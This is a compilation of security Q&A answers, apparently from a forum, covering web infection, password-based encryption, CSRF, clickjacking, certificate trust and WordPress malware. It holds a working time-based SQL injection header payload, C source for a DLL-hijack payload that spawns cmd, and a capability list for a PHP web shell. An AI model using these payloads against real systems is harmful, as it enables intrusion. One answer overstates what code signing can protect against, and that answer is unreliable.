How does a virus infect our computer just by visiting a website

It is not possible to achieve the condition of disabling all vulnerable features.

Features that may be disabled through a browser's user interface do not comprise anywhere near the complete set of potential vulnerabilities.

Consider text handling. There is no switch to disable processing of multi-byte unicode characters, yet improper handling of these has been the vector for a number of client-side attacks involving delivery and execution of exploit payloads. The underlying problem of parsing streams of bits and turning them into data structures is not securely solved.

There is also what sounds like an assumption in the question that somewhere in a piece of software there is a secure base or core, that functionality accretes, that vulnerabilities exist only in new functionality, that what we have to do to improve security is disable only the new functionality.

This assumption is faulty. Functionality accretes, and with accretion comes complexity and with complexity comes new bugs, but it is not the case that older simpler functionality represents some sort of security ideal.

Newer code is very often written with greater discipline and maturity and awareness of risk, and is often in an absolute sense more secure.

Older functionality may have been secure for the time in which it was authored, but would not survive for a moment against attackers of today. Older code is often of far worse quality than newer code, surviving with known bugs and vulnerabilities only because replacing it is too daunting or complex to realistically contemplate. Security issues may be carefully hidden under layers of intended protections, but they are still present, awaiting a clever enough attacker to find a vector through which to exploit them.

In short, there is no non-vulnerable software. Of course people speak in black and white terms and refer to some features as secure and others as insecure, but it is more accurate to remember in discussions about security the old joke of running faster than the other guy when being chased by a bear.

Chromebooks will be "secure" as long as they're less popular and not Windows. Were Chromebooks the dominant platform in the ecosystem, the rate of discovery of vulnerabilities would dramatically increase. The vulnerabilities would be different in character than ones found on other platforms and so given the current state of knowledge are harder to find than those on other platforms, but they are still there.

This trajectory isn't just true for software, it may be observed in any realm of human functional endeavor. There are incentives to tear down old buildings in Tokyo, even sacred ones, because they represent a danger in the context of making the city more resilient against earthquakes. Cars that are more than 5-7 years old are relatively speaking manifestly unsafe in accidents compared to newer counterparts.

In the end, it isn't vulnerabilities that matter, but safety. It doesn't matter if at a particular point in time a given attacker can't find a weakness in a particular place in a specific piece of software. Attacks are conducted with goals in mind, often economic, and the landscape is rich enough that if one approach fails there are dozens of others that can be profitably tried.

The most common attack that people fall victim to is phishing, which may but doesn't have to exploit any particular piece of technology, beyond using it to engage the victim.

So a browser may not have an extent or discovered vulnerabilities but from a user's perspective that does not make it safe. Simplicity and reduction of functionality can reduce the attack surface and increase the cost of targeting a particular user, but there is no magic combination of settings a user can tweak to enable them to forget about safety.

I hope that was the actual question being asked.


Blind SQL Injection and HTTP Version Dependency?

The Payload worked in HTTP/1.0 and not in HTTP/1.1 .

TL;DR: it worked in HTTP/1.0, it failed with an invalid HTTP/1.1 request but succeeded with a valid HTTP/1.1 request.

Have a look at the request which was sent:

GET / HTTP/1.x
X-Forwarded-For: hacker' OR sleep(5) AND '1'='1 --+
Connection: close

While HTTP/1.0 and HTTP/1.1 look about the same there are some important differences. One is that HTTP/1.1 requires the client to send a Host header in the request, i.e. something like Host: www.example.com. While this header was possible and widely used with HTTP/1.0 too it was not mandatory in HTTP/1.0 but is mandatory in HTTP/1.1. This means that the request you send is actually invalid with HTTP/1.1 which explains the response you get back from the server:

  For HTTP/1.1 : I Immediately get 400 Bad Request

This immediate response from the server means that the request was rejected and not forwarded to the vulnerable web application. The well-formed HTTP/1.0 request instead was not rejected and resulted in the successful exploit:

  For HTTP/1.0 : I get 200 OK after 5 seconds

After the HTTP/1.1 request was fixed the exploit worked there too:

  Once I added Host Header. SQLi worked with 1.1 as well.


As I understand your situation:

You have to store, on the server, some data ("messages") which the user must be able to read.
The server may be able to read the data at some point, if only transiently.
But the server should not keep this power permanently. If an attacker steals a complete copy of the server hard disk (e.g. a full backup), then he should not be able to read the data.
The user, being a user, has very little storage capacity on his side; at best, he may remember a password and/or possibly a recovery code which the user wrote down on some paper at his home (but while the user may accept to type his password on a daily basis, he will refuse to enter a huge, fat recovery code that often; the "recovery code" should be a way to recover from a forgotten password).

Under these conditions, the only possible solution is that some password-based encryption is done. Indeed, the combination of the data stored server side and the user password should be enough to recover the data. Since we are talking about the Web, the client is feeble, when it comes to computational tasks; so the encryption and decryption will have to be done on the server. Anyway, you want the decryption to be done on the server, so that any data formatting (turning the message into HTML) occurs on the server as well.

What you describe is not far from the truth (where "the truth" is "the best you can hope for"). Namely, you will have to do the following:

For each user, there is a user-specific symmetric key Ku. That key is generated server-side when the user account is created, with a strong PRNG, and has appropriate length (say 128 bits -- 256 bits are overkill, but hey, go for 256 bits if you need a big number to woo investors).
For each user, a "recovery code" Ru is generated along with Ku, with similar characteristics. This will be used if the user forgets his password. The encryption of Ku, using Ru as key, is stored on the server (let's call it Fu). Ru is sent to the user, with instructions to print it or write it down and store it safely.
Each user has a password Pu. A hash of the password is computed on the server, using a good password hashing function like, indeed, bcrypt. This operation requires a user-specific random salt Su, which is stored on the server. The hash value is extended into some bits (say, 256 bits) with a key derivation function. If you only need 256 bits, then SHA-256 will fit nicely as a KDF.

Note that we want to extend the hash output only; most bcrypt libraries produce an output as a string which encodes the salt and the hash output. You want to recover both values separately, because you want to store the salt, and you want to have the hash output alone for input to the KDF. It may be simpler to replace bcrypt with PBKDF2: PBKDF2 is its own KDF (output size is configurable) and most PBKDF2 implementations already handle salt and output separately.
The KDF output is split into two halves (e.g. two 128-bit values). The first half is Vu, and is the password verification token. The server stores it. The second half is used as a key to encrypt Ku; that encrypted value (let's call it Eu) is stored on the server.

So, for the user U, the server stores Su (the user salt), Fu (the encryption of the user key Ku with the recovery code), Vu (the password verification token) and Eu (the encryption of the user key Ku with the password-derived key). All "messages" for user U will be encrypted with key Ku.

When the user logs in, he sends his name (U) and his password (Pu). Using U as index, the server recovers the stored data. With Pu and Su, the server recomputes the password hash, then extended with the KDF. If the first half of the KDF output is not equal to Vu, then the user's password is wrong, and the user shall be rejected. Otherwise, the user is authenticated (the server has some guarantee that the client is indeed the genuine user U), and the second half of the KDF output can be used to decrypt Eu, yielding the key Ku. At that point, the server knows Ku and can do all the encryption/decryption business.

If the user wants to change his password, then a new salt will be generated, the new password entered, the hash function computed again, yielding a new verification token, and a new Eu. The key Ku, though, is not changed, so the stored messages need not be touched in any way.

If the user forgets his password, then the recovery code can be used as a sort of "alternate password" in order to recover Ku, at which point we are back to the "password change" situation.

Now for some important notes.

When the server learns the user key Ku, then the server should keep it in RAM only. You do not want Ku to hit the disk (that's the whole point of the exercise). Therefore, you shall mind a few thing:

PHP sessions are written to disk. What you put in session variables become files ! But you can choose the destination; e.g. you can use a RAM-based filesystem that will be shown to PHP as files, but is really RAM. Alternatively, there is a shared memory support so that no file at all is created (this may be safer; if an attacker hijacks the live server than he can read all files, including those on tmpfs; but such an attacker could also plunder PHP's RAM directly, and read all session data anyway).
Virtual Memory, aka "swap space", can induce the kernel to write to disk what is usually in RAM. Swap space is not backupped, but that's still writing. An industrious attacker will scan your garbage cans in search for old, discard hard disks. If a disk fails (electronic board fried), then you cannot wipe out its contents (at least, not easily), but the attacker may recover the data (by replacing the board).

It might be a good idea to disable swap altogether. Running without swap is fine as long as you have sufficient RAM; and you really want to have sufficient RAM anyway because hitting swap space really kills performance, especially in GC-based languages like PHP. Virtual Memory is one of these ideas which were very good.
To some extent, what you do not want to put in session variables can be stored as a cookie on the client. Cookies are not really permanent (if the user has several devices, cookies might not be shared between his browsers) but they can benefit from some "secure storage" -- as secure as things can get on the user's computer.
You are talking about messages... so maybe you want to encrypt some data for a user, when this user is not logged in. In that case, the server might not know Ku. To solve this problem, you will need asymmetric encryption: make Ku the private key of a pubic/private key pair, the public key being stored "as is" (unencrypted) in the database. Encryption uses the public key, while decryption requires the private key.

Doing asymmetric encryption properly is kind of complex; it requires the assembly of several cryptographic algorithms, and there is ample room for devastating mistakes that cannot be detected with tests. You are warmly encouraged to rely on an existing format and software; e.g. GnuPG bindings for PHP.
I strongly hope that all communications between client and server use SSL, i.e. HTTPS; and any relevant cookies are marked HttpOnly and Secure.


Digital Signature verification Automate vs Manual

That “someone” is correct. Automated signature validation helps security far more than manual signature validation.
First consider your counter-argument: you said that an automated process can be exploited if the system or keys are compromised. If the system or keys are compromised, your user will have no more insight to the danger than an automated system. How would your user know if the signing keys were copied? [Hint: they wouldn’t.] Both systems are equally vulnerable to this concern.
Second, if you rely on manual processes only, your system can be compromised because anything can be done when there there are no automated checks.
Automate all the checks you can. Don’t waste your users’ time forcing them to do what the machine can already do better and faster than they can. Never skimp on security by allowing an untrained user to bypass security whenever they feel like it, or if they don’t understand it, or if they’re in a hurry.
100% signed code is hard to achieve and maintain, but is one of the most effective anti-malware tactics you can deploy. It’s far better than whitelisting or file integrity monitoring tools exactly because it’s automated and enforced by the OS.
And if the machine’s security is already compromised, nothing the user can do will save it anyway. The damage has already been done.
EDIT: Code signing cannot be defeated by forging a signature. It’s so effective it’s the basis of securing Apple’s entire iOS system. You may remember a time when “jailbreaking” iPhones used to be common. That pretty much ended once Apple fixed every bug in iOS that enabled it; today, consistent jailbreaking can only be performed by someone with physical access to the phone.
A 100% code signing design has resulted in iPhones becoming the most consistently secure OS in common use by the public today.


How to simulate environment for testing whether SSL pinning is working fine in an Android application?

The infosec team probably meant using an intercepting proxy such as ZAP or Burp. A normal proxy passes the SSL connection through, using the original certificate. With an intercepting proxy your browser sets up a connection to the proxy, which has a different certificate.


For maximum security is it best to link OpenSSL libraries statically or dynamically?

ASLR and such things are ways to try to cope with consequences of a buffer overflow -- they are an hide&seek game so that attackers find it harder to turn a buffer overflow into remote code execution. For proper security, it is better to make it so that buffer overflows don't occur in the first place.

... and for that, dynamic linking is better. The reason is the following: it would be inordinately optimistic to believe that any given piece of code written in C does not have any buffer overflow (especially OpenSSL, which has a rather long history on that subject). Thus, the best that you can do is to be able to promptly fix known security holes by replacing the faulty part. If you use dynamic linking, this is easy: just replace the DLL, and be done with it. If the DLL is provided by the OS (the normal case in Linux systems) then this will be done naturally when you apply security updates from the OS vendor. However, if you use static linking, then the patches won't make it into your application until you recompile (or at least relink) that specific application with the patched OpenSSL.

In practice, static linking means that security fixes on the library will take longer to be applied to the application -- or, more often than not, won't be applied at all. This is bad. Therefore, use dynamic linking.


geocode is not always precise and personally, for the cases I faced, it has never been that precise (see the location_type parameter in The Google Maps Geocoding API)

Also, from the link you provided, it says:

  We don't correlate or combine information from our temporary or
  permanent logs with any personal information that you have provided
  Google for other services.

And the permanent samples Google collects are done randomly. Also, there are not lot of ISP providers per country (check the case of France, for example) so it is hard to use that to identify a particular person.

To conclude, if we trust the official documentation you linked to, I do not see any serious privacy concern in that.


Is it safe to store the database password in a PHP file?

My recommendation: Don't store passwords in source code.

Instead, store them in a configuration file (outside of the web root), and make sure the configuration file is not publicly accessible.  The reason is that you normally don't want to keep your passwords checked into the source code repository or exposed to everyone who can view files in your web root.

There is an additional risk with storing passwords in a .php file within your webroot, which is a bit obscure but can be easily avoided by placing the file outside of your web root.  Consider: if you are editing connection.php using a text editor, and your connection drops while you are editing it, your editor will automatically save a copy of the connection.php file in some backup file: e.g., connection.php~ (in the same directory).  Now the backup file has a different extension, so if someone tries to fetch that file, the Apache server will happily serve up a copy of the file in plaintext, revealing your database password.  See 1% of CMS-Powered Sites Expose Their Database Passwords for details.

See also How do open source projects handle secure artifacts?, Open Source and how it works for secure projects?


Whitelist-based integrity scanner for Windows EXEs, DLLs, etc

You could try another approach, or maybe mix different strategies. From my experience with many customers I can tell you that we have acchieved security by classifyng EXE's with the following methods:

Allow EXE/DLL from certain directory (not very often and only combined with other safety strategies like 'no admin rights')
Allow EXE/DLL which has a specific certificate (self-signed, Microsoft etc.)
Allow EXE/DLL by hash (only for special software)

The software I have used had also the possibility to switch on some 'learning mode'. Afterwards the user starts working for a couple of days and the software 'learns' which EXE/DLL's are safe.

Give it a try: http://egosecure.com/en/


Does providing OAuth for mobile apps pose a security threat?

So I think that the problem you're describing is, to an extent, solved by adding Client IDs to the authentication request.  The application provides an ID to the service provider, and the provider then bounds the token provided to only be valid for that application.

However that doesn't solve the problem of a malicious application which could provide a deliberately forged client ID (if those are used).

The thing is though, in mobile, the application is already trusted, once the user has installed the application he has chosen to trust it. I don't think there's much the service provider can do to protect users from malicious applications, once the user has chosen to install them.

I was watching a video from Eran Hammer (warning NSFW language), where he mentions that where service providers were forcing mobile clients to do web views for user sign-in (to prevent the mobile app from directly accessing the users credentials) and that the mobile app was then overlaying this and grabbing the users credentials, so that they didn't have to bother the user for them in future.

Ultimately I don't think that it's possible to completely protect users from an application once they've decided to trust it by installing it.


How to know whether mysql connection is using SSL or TLS connection?

It would be very, very odd to see "SSL: Cipher in use..." and then have the connection not be encrypted. (If you know of any case where this happens, please include a link.) However, it's possible that it would be less than fully secure for some reason, such as using (and trusting) a self-signed or otherwise potentially-untrustworthy certificate, or using an anonymous cipher suite, or using very weak encryption, or similar. Unfortunately, that's difficult to verify from the information given (aside from the strength of the encryption, which is the very strong AES256 cipher).
As the Wireshark screenshot shows, you're using TLS v1.1. That's not the latest, or even second-latest version - everything should be using TLS 1.2 or 1.3 these days - but at least it's not (to my knowledge) completely broken the way some older protocols are. You could look at the certificate that the server sent by viewing the relevant line in Wireshark, but that wouldn't necessarily tell you clearly whether or not the cert is trustworthy.
The simplest option might just be to look at the client command line (and options file) flags. If you used the ssl-mode=REQUIRED flag (or, for old versions, the -ssl=1  or --enable-ssl flags), then the use of SSL/TLS is forced on. Various other flags control things like what CA certificates are trusted, though it should use a reasonable list by default.


Which grant type : Implicit or Auth code (with No secret key) is suitable for Single Page Application(SPA)?

You don't need the client secret, you should use PKCE instead. There is a new IETF draft about best practices for SPAs


How does holding the shift key protect my system from viruses on an USB?

In addition to what @matthew has said, there are devices that pretend to be keyboards (most popular one is called a rubber ducky) and will auto type commands at a speed that you either wont see them be executed or if you do, you will be too slow to do anything about it. If you are pressing Shift, Ctrl or Alt then the commands will be changed due to your key press and will fail. Shift is the key that gives you the least amount of protection for this type of attack due to the attach having to be case sensitive to be stopped with it. With Ctrl and Alt a key press will do a completely different operation.

Shift+c produces C
Ctrl+c produces the command "copy"


Looking for a tutorial on meterpreter extensions

There is a sample DLL, either 'good' one and 'bad' one, including source, binary and full-blown example.
http://seclists.org/fulldisclosure/2010/Sep/22
There is a more straight-forward example for WinRAR DLL hijack:    \

 #include "stdafx.h"

 #include "stdlib.h"

int g4h()
{
    WinExec("cmd", SW_SHOW);
    return 0;
}
BOOL APIENTRY DllMain( HANDLE hModule,
                   DWORD  ul_reason_for_call,
                   LPVOID lpReserved
                 )
{
   g4h();
   return TRUE;
}

Enjoy!


What needs to be in your truststore is a certificate that you trust for this specific communication. You may want to use one or more CRL's or OCSP connections as well.

Basically you are trying to build a certificate chain to a trusted certificate, while validating all certificates in the chain. So those certificates should have correct dates, they should not be revoked and they should of course verify with the certificate of the issuer.

Validating with a well-known CA is great, but mind that you don't want to verify a message send by just any party that has a certificate by a well known CA. Anybody can obtain one of those.

So you may want to explicitly check the subject field, use certificate pinning or something otherwise unique when verifying the signature.

How many certificates are delivered within the PKCS#7 CMS can vary. They are just used to create a chain to a trusted certificate.

So in your case you may want to establish trust for the CA certificate that has been assigned the task to secure this particular message (which I presume is signed). This is an out of band action (i.e. you may need to pick up the phone to verify the certificate fingerprint). If there is no CA specific for this task, you could put the leaf certificate in the trust store.


Can visiting a website virus your computer if you have JavaScript disabled?

Yes, it is possible.
Javascript is widely used for malware infection, and it's by far the most used way, but it's not the only vector for infection. If you run any vulnerable extension, or the browser uses any outdated library, then a specially crafted element can lead to code execution even without Javascript.


Is this Google mail from gaia.bounces.google.com legit?

The email you've received is legit, it is signed with correct certificate of google.
However, you are not the first one to raise a red flag for this one, whole security industry specialised in social engineering is applauding google for great "phishing attempt".
To answer your question, yes google is checking databases of leaked credentials also for your recovery email address.
Chrome has now functionality for checking hashes of your passwords (to any account on any website you're logging into) with their database of leaked credentials. This is part of their safe browsing feature.


Why we should not allow our pages to be loaded through Iframe by unknown hosts?

Phishing isn't actually the main reason, although the scenario you describe doesn't work if you're trying to trick the user into thinking they're signed into a site and don't know what the site looks like for that user. Phishing isn't just used to steal credentials; it can also be used to trick a user into taking some action within their authenticated account that benefits the attacker (such as authorizing the attacker's app to access the victim's account).

As Jeroen mentioned, the major risk is clickjacking / UI Redressing (another term for the same thing) attacks, where an already-authenticated webapp is loaded in an iframe on a malicious site, and the malicious site draws on top of the iframe to trick you into clicking somewhere that takes an action on the signed-in site that you didn't intend.

Imagine something like Amazon's one-click purchase. Somebody wants to get a bunch of people to each buy a $5000 "musical album" of car traffic noise. Obviously, nobody is going to do this by choice, so the "seller" puts a website that loads their purchase page in an iframe, and draws what looks like a free online game over it. The "Start game" button is drawn over the same place as the "Buy with one click" button, but the "start game" button actually just a spot on the page where part of the "buy" button is visible (with the text overlaid with "Click there to start"). All the rest of the Amazon shopping page is invisible. Somebody (who is signed into their Amazon account) who tries to start the game will instead send the attacker a bunch of money for something worthless.

There are sometimes also other attacks. For example, older versions of IE would render an entire page using the same rendering engine version, including content in an iframe; you could abuse this to attack pages that are vulnerable to very old attacks but were normally loaded by safe versions by creating a page that triggers the very old behavior and putting the now-vulnerable page in it as an iframe. There are probably other attacks like that, where the top-level page can influence the behavior of a framed page (or at least learn something about it), even though that's not supposed to be possible now. The main concerns are clickjacking and sometimes phishing, though.


When you use a cellular connection how is your internet connection encrypted

While the cellular connection does implement a level of protection on certain segments, that's really not pertinent. Even if the cellular network is completely in the clear, it's the HTTPS encrypted connection to your bank that protects your password all the way to the bank.

No, none of the other passwords matter.


If there is a malicious attack on one partition, is the other one safe?

Boot Camp allows you to make two operating systems coexist on the same hard drive (but in distinct areas, called "partitions"), and to choose which one is started when you power up the machine. However, each OS, once started, sees and can access the whole machine. In particular, Windows, once started, is aware of the existence of both partitions, and can read and write both as it sees fit.

Both Mac OS X and Windows are "well-behaved" in that they know which partition is theirs, and which is not; and they refrain from altering the other partition contents in any way. However, malware is usually not well-behaved (by definition), and malware that runs on Windows may notice the existence of the OS X partition and begin to alter it for its nefarious purposes. It is thus at least conceptually possible that a virus running on Windows infects an OS X partition. This is not Boot Camp itself that puts both partitions at risk; it is the very concept of multiboot.

In practice this is not very likely to happen, because the Boot Camp situation is sufficiently rare to make the development of a cross-OS virus not worth the effort. Possibly, a destructive virus that bombards the whole disk with random bytes may impact the OS X partition as a collateral damage.

If you want some higher degree of isolation, use a virtual machine. In a VM, the guest OS (e.g. Windows) does not see the real hardware, but an emulation of a virtual drive that the VM solution synthesizes for the guest. Normally, the partition of the host OS (e.g. OS X) will not be made visible as a virtual drive to the guest, so even if the guest is hijacked by hostile code, its potential damage won't extend to the host partition.

This, of course, assumes that the VM solution does not have an exploitable hole that would allow an hostile guest to evade from it and run its code on the host. Also, some practical VM setups often actually make the host partition, or a subset thereof (e.g. a given directory), visible to the guest, to ease data transfers between host and guest.


Is CSRF possible against a PDF download that requires cookie auth?

A CSRF is a write-only operation from the perspective of the attacker. This means the attacker could initiate the download or view of the PDF inside the client browser, but he can not access the PDF just downloaded. The attacker might get some meta information though, like do some timing together with heuristics to defer if the download was successful or how long the PDF might be.

  ... famous Gmail CSRF flaw that leaked your contacts list

In this attack Gmail provided the contact list as Javascript which could be included in the attacker page and would be executed in the context of the attackers page. This is specific to script and can usually not be done with a PDF.

The attacker could of course try to include the PDF as script.
One could actually construct a PDF which is both a valid PDF and valid Javascript and thus if the attacker has enough control over the generation of the PDF he might be able to use this technique to get access to the unknown part of the PDF.


OpenSSL: best way to get sha256 hash of two sha256 hashes

Hash is a set of bits. If you really want to work with hashes, you should use their binary representation, not the text representation.
For instance, "b5" in your example means that the first byte of your hash is "10110101". But if you consider it as a text, it will mean that every character will be considered separately, so "b5" will be represented as "0110001000110101" ("b" -> 98 -> "01100010", "5" -> 53 -> "00110101").


Could a compromised root CA impersonate any SSL certificate?

Such compromises already happened and DigiNotar is just on example. In effect the attacker could impersonate almost all certificates this way, because for most certificates it does not matter who signed it but only that it was signed by a CA trusted by the browser.

There are few exceptions which are thus safer:

Chrome and Firefox (and IE with EMET?) have the fingerprint of the public key for some very important sites hard coded  (pinned) in the browser/OS. In this case the fake certificate will be detected, as was done in the DigiNotar case.
With HPKP sites can offer their keys for pinning into the browser on first use, even if the browser was not shipped with these keys pre-pinned.
Extended Validation certificates (EV) can only be issued by selected CA, which are hard coded into the browser.

Of course one could in theory detect such wrongly issued certificates by comparing the fingerprint. There are extensions like Certificate Patrol which notify the user if the certificate of a previously visited site has been changed, but it is still up to each user to decide if the change was correct or if this would be an attack. Extensions like Perspectives try to simplify this process by comparing the certificate against the certificates seen by other users. But none of these facilities are currently shipped with the browsers.

Note that this re-creation of certificates is often done legally in SSL intercepting firewalls, which need to get access to the decrypted content in order to detect attacks. But in this case the new root CA is explicitly added to the browser as trusted. For these CA's, which are not shipped with the OS/browser, HPKP and pre-pinning are usually ignored by the browser.


You are right, your solution (a cookie that only works on the same origin) would prevent anti-CSRF tokens from being necessary against CSRF attacks. As for why nobody implemented this, we can only guess. Perhaps it is because a solution is already present in current header values, namely by checking the Referer header. Using the referrer is also more flexible than a NoCSR flag: you can whitelist multiple domains or subdomains.

Note that your proposal would not magically solve everything: cookies are also used when someone clicks a link and opens a page where they are logged in. Let's say you search for 'stackoverflow' and you click the top result, then you would like to be logged in even though the request came from another origin (namely your search engine). Therefore, you would need two cookies: one that has the proposed flag and one without. Or, alternatively, the flag would not apply to GET requests so that normal links work, but then you leave a lot of website still vulnerable when they modify the server state in response to GET requests (many applications will perform actions when you do requests like GET /deleteUser/123).

It's almost as if the browser should just include a flag about whether a request was across origins and then the web server can decide whether this is a dangerous action that should not be done across origins... which sounds a lot like the Referer header!


Is there a web application firewall equivalent of virustotal?

I know of no such site. It's unlikely that such a site would exist, because WAF's don't block things on based on signatures like anti-virus.

WAFs must be configured to work properly. For each input field, you need to tell the WAF what that field can contain. Is it a number? An alpha field? Or can it contain arbitrary characters, including quotes, commas, dashes, semicolons?

One way of configuring a WAF is to put it into learning mode, so it can watch typical input fields. If it sees that only numbers are being sent in the "articleId=" field, then it knows it should probably filter out anything that isn't a number.

In other words, a "web application firewall" is a lot more like a "firewall" and a lot less like an "anti-virus" or "intrusion prevention system".


I know of one that let's users upload a picture of their own choosing when the account is set up. (They can change it later.) The picture is shown on the password screen, after the user ID is entered. Wrong or no picture == fake web site.

You would want to use  a back-end program to make the pics a standard size and to strip out meta data before storing them.


Seeing that you're using Mac, manipulating logs is as simple as elevating yourself to a root (admin) user, by using a command such as 'sudo -i' in your terminal, and then editing them as you like.

As far as I'm concerned, logs are a security professional's best friend.  The more logs you have the more information you have to pull from (at the same time, there's more data to crawl through, which has more to do with your last question).  Logs are one of many resources when dealing in forensics.

When it comes to attackers gaining access to logs, it's more of a concern about them modifying logs to cover their tracks.  If an attacker has access to your log files, they already have your system, so there's not real reason to worry about them gaining direct information from logs.  On the other hand, trending data can be used for other means.  For instance, if an attacker can gain access to the logs on a workstation in a corporation, they may be able to deduce what the average working times of a user may be (which, again, seems to be a moot point for most cases seeing that they already have access to the box).

As for your last question, tools to correlate these logs are very helpful.  The main tool you're looking for is a SIM/SEM.  This is a tool which takes logs and, based on profiling and traditional attack trends, alerts the administrator/security professional running the tool of the potential issue.  Some good example of a SIM/SEM or SIEM (which i guess is the more common term) are arcsight, loglogic, alienvult/ossim, and logrhythm.

I've never thought of logs as being anything but good.  So please think twice before deleting logs or even removing any data from your logs.  The more you mess with your logs the less valuable they become.  I wasn't able to find a security incident/event manager designed for a Mac with my limited search, but it still can be done.

Reading back over my answer, my thoughts were fairly narrow minded, so I apologize if I missed some other log oriented tools that are possibilities.  Let me know if you want clarification on anything I said, I'm still waking up :-).


Isn't "Dave's protocol" good if only the database, and not the code, is leaked?

Yes, But..
To make it nice and clear... We're talking about a database-only compromise when an attacker has access to the database but not the application source code.  In that case the attacker will get the password hashes but will be unable to crack them and get the original passwords because of Dave's custom algorithm.  So in the case of a database-only breach, yes, Dave's password algorithm will protect passwords more than if he had used MD5 or SHA1.
However That's only one possible avenue for system leaks.  There is one key fact that trashes the "math" that makes Dave's homebrew algorithm seem reasonable.
Half of all breaches start internally.
(sources 1 2 3) Which is a very sobering fact, once you let it sink in.  Of the half of breaches caused by employees, half of them are accidental and half are intentional.  Dave's algorithm can be helpful if all you are worried about is a database-only leak.  If that is all you are worried about though, then the threat model you are protecting against in your head is wrong.
To pick just one example, developers by definition have access to the application source code.  Therefore if a developer gains read-only access to the production database they now have everything they need to easily crack the passwords.  Dave's custom algorithm is now useless, because it relies on old and easy-to-crack hashes.
However, if Dave had used a modern password hashing algorithm and used both a salt and pepper, the developer who gained access to a database-only dump would have absolutely nothing useful at all.
That is just one random example but the overall point is simple: there are plenty of data leaks that happen in the real world where proper hashing would have stopped actual damage when Dave's algorithm could not.
In Summary
It's all about defense in depth.  It's easy to create a security measure that can protect against one particular kind of attack (Dave's algorithm is a slight improvement over MD5 for protecting against database-only leaks).  However, that doesn't make a system secure.  Many real-world breaches are quite complicated, taking advantage of weaknesses at multiple points in a system in order to finally do some real damage.  Any security measure that starts with the assumption "This is the only attack vector I have to worry about" (which is what Dave did) is going to get things dangerously wrong.


Password based Asymmetric Key generation

Any asymmetric key pair generation can be described as a deterministic algorithm that feeds on a random source. Thus, generically speaking, you can turn a password into a public/private key pair by doing the following:

Process the password into a "seed" of sufficient length (say, at least 128 bits) with a password hashing function.
Feed that seed into a cryptographically secure PRNG to extend that seed into as many pseudorandom bits as necessary.
Run the key pair generation algorithm with the seeded CSPRNG as source of randomness.

This kind of process has several important drawbacks that you should be aware of:

It requires a completely specified and unchanging key pair generation algorithm. For instance, for RSA, the algorithm concept is to produce random numbers until prime integers of the right size are found, but in the password-based setup you would have to be very precise on how exactly you turn the random bits into a candidate integer, and so on.

Using an elliptic-curve based algorithm like ECDSA / ECDH may help, because private key is then just a random integer, with no condition on primality or anything like that. You still have to specify the generation algorithm, but at least it is simple.
If you change your password, you also change your key pair, which might have consequences in whatever system you are envisioning.
Good password hashing requires a salt, which is not a secret value, but should not be fixed either. You would need a storage space for that salt, somewhere.
The resulting public key would, by construction, be usable in an offline dictionary attack. Offline dictionary attacks are not a good thing for passwords. Properly configured password hashing functions can help fend off dictionary attacks, but there are limits to their power. A password-generated public key thus requires a really random password. Unfortunately, really random passwords are hard to memorize (see this question for some discussion -- the "correct horse" method, as presented in the post, yields passwords with 44 bits of entropy, which is good for a password, but not good enough to make offline dictionary attacks really tolerable).


This is the setup I use for wireless engagements these days.

Windows 7/8 Host OS
VMWare Workstation 9
Lubuntu 12.10 Guest OS

Then add two wireless USB cards (at least one of which with 5GHz cover).  At the moment I tend to use an alfa card with external antenna for the 2.4GHz coverage and a D-Link DWA-160 for the 5GHz piece.  The USB passthrough from VMWare workstation has been reliable in my experience, although it's sometimes a little random as to whether VMWare will grab a USB device as you connect it to the physical port or whether you need to manually connection it through VM--> Removable devices.

As to whether you could use other virtualization platforms, I don't see any specific reason why not, I'd say that the key point would be the quality of the USB passthrough.

As an aside for the host system piece I'm looking at using a Thinkpad Twist to make use of a tablet form-factor which would run the VMWare setup ok. At the moment the touch drivers seem a bit flaky but I imagine that'll clear up.

To cover android as it gets a mention in comments, at the moment it is possible to get monitor mode but only with very specific hardware and the software is a bit limited. Details on the Android PCAP page.  Outside of that there are a number of reasonable stumbler clients for android now, which are useful for tracking down APs that are broadcasting and also for gathering wireless data without toting a laptop around.


is Cryptpad safe for corporate use (logs which includes hostnames, IP and internal configuration)

Disclosure: I'm a developer of CryptPad.

The answer to your question is based on how much assurance you need. The idea of CryptPad is to be verifiably ethical, we can prove that we are not doing mass data collection because if we were, somebody would catch us eventually. Therefore we are verifiably better than almost every other service available because with CryptPad, you are not blindly uploading your data and trusting us never to go in the database and read it.

We cannot (at this point) prove that we are not going to leak your data, if for some reason we were very interested in you, we could conceivably take the risk of being caught serving evil javascript in order to get access to your data.

tl;dr it is better than virtually any cloud server available but not better than hosting on your own infrastructure. However if you do choose to host something on your own infrastructure, you may still want to use a Zero Knowledge solution such as CryptPad unless you really trust your system administrators.


Decentralized e-commerce site, what to do about SSL/security?

From your description at this query at stackoverflow I get the information, that all customers will use their browsers to contact these sellers.

When you only use self-signed certificates or use your own CA for the sellers each of these customers must explicitly add an exception (or your CA) to their browser. And of course they should not just trust anybody claiming to be the seller, so they need a way to verify the certificate using an independent way before accepting the exception, like a written letter from you with the certificates fingerprint.

Of course this does not scale. Also lots of customers will probably refrain from using this service, because of all the hassle and the perceived (and maybe real) insecurity.


WordPress Hacked - Found a suspicious "class-wp-style-table.php"

Your server was infected with a PHP backdoor trojan that goes by these names:

a-squared: Backdoor.PHP.Shell!IK
AVAST!: VBS:Malware-gen
AVG: PHP/BackDoor
BitDefender: Trojan.Php.Backdoor.APF
ClamAV: PHP.Shell-38
Dr.Web: PHP.Shell.26
F-Secure: Trojan.Php.Backdoor.APF [Aquarius]
GData: Trojan.Php.Backdoor.APF [Engine:A]
Ikarus: Backdoor.PHP.Shell
Kaspersky: Backdoor.PHP.PhpShell.dd
Microsoft: Backdoor:PHP/Shell.G
NOD32: PHP/WebShell.NAH trojan
nProtect: Trojan.Php.Backdoor.APF

It is currently detected by roughly 38% of AV scanners that VirSCAN.org tracks. The way to test your AV for this exploit is simply by opening this pastebin and trying to download it as a file. Your AV should detect it, notify you of malware under one of those names from above, and deny download. If it's not detected, simply delete the downloaded file. Your system won't be infected, unless you run it through a PHP interpreter on your web server.

I've been reading the exploit's code, and frankly, it's pretty scary stuff and one of the most complete shells I've ever seen. Here are a few things it can do:

Read, Edit, Overwrite any file the web application process it runs in will have access to.
Extract from, Compress to ZIP and TAR archives (can inject itself into existing archives)
Brute-force FTP, MySQL, PostgreSQL access using web server's own CPU
Scripted interface for easy remote C&C shell control
POST requests for everything to hide from simpler WAF and avoid detection by web server rules
Complete Database Control including SQL shorthands for most common injections
Automated password and shadow file extraction for offline password extraction/cracking
File System Access Control including rewriting access permissions on files, directories
Enable / Disable reporting services to avoid detection through log files
